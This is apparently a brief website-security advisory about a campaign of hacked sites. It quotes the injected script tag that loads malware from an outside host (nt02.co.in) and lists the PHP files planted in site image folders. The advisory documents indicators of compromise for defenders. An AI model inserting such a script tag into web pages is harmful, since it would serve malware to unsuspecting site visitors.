< script src = “http://nt02.co.in/3” >
This code is used to load malware to unsuspecting visitors of your site. Most of the sites affected also had a few PHP files inserted inside the /images folder, generally called inclasses.php, loadclasses.php or phpclasses.php.
We are still researching how those sites got hacked and which vulnerability was used. It could be this one, or some of the others recently published.
If you have more information let us know.